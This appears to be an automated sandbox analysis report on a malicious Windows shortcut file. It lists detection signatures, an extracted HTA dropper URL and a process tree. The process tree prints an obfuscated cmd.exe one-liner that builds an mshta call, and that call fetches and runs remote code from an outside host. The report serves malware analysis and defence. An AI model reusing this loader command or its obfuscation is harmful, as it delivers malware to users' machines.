Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-CKOEWC.lnk
  • Size 2KB
  • Sample260804-kbmxwabj2x
  • SHA256 179c46fa95c1fb2193abb2e79c4436e0b7aadb71580c27165025c40d289aed14
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CKOEWC.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1224
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set jTPcb=cfgnqniqkowrqwtxtthcfg&set RIdu=datgbeifurdat&set Zxp=oldyvindsykjsbhnfxrold&set JG=logiicpgilvbhxbfxdqxrctxlog&set osZwr=netcikfdaronet&set Nf=bakxisygqiwvmositbak&set opAL=dtmsgp&&set jtLUr=shtae&set yUS=2gstk&&set eKx=0eartmi&&set af=htt@p@s@:@//ma@-p@d@ff@[email protected]@a@t@/h@/@estag@io@[email protected]@?r=39@1469FB5D@8@2D@B&&start /b !opAL:~2,2!!jtLUr:~1,3! !af:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:412

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads